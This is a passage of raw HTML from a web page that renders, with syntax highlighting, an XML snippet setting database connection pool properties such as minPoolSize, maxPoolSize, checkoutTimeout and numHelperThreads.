background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">property name</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"minPoolSize"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> value</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"30"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">/></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">property name</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"maxPoolSize"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> value</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"100"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">/></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">property name</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"initialPoolSize"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> value</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"30"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">/></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">property name</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"maxStatements"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> value</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"0"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">/></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">property name</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"maxStatementsPerConnection"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> value</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"0"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">/></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">property name</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"checkoutTimeout"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> value</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"60000"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">/></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">property name</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"numHelperThreads"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> value</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"10"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">/></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
